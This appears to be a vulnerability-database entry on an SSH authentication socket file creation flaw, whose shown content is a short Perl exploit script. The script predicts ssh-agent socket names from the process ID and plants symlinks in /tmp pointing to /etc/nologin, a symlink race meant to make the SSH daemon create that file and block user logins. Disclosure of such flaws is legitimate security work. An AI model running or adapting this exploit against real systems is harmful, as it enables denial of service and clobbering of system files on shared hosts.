SSH Authentication Socket File Creation Vulnerability

info
discussion
exploit
solution
references

SSH Authentication Socket File Creation Vulnerability

#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}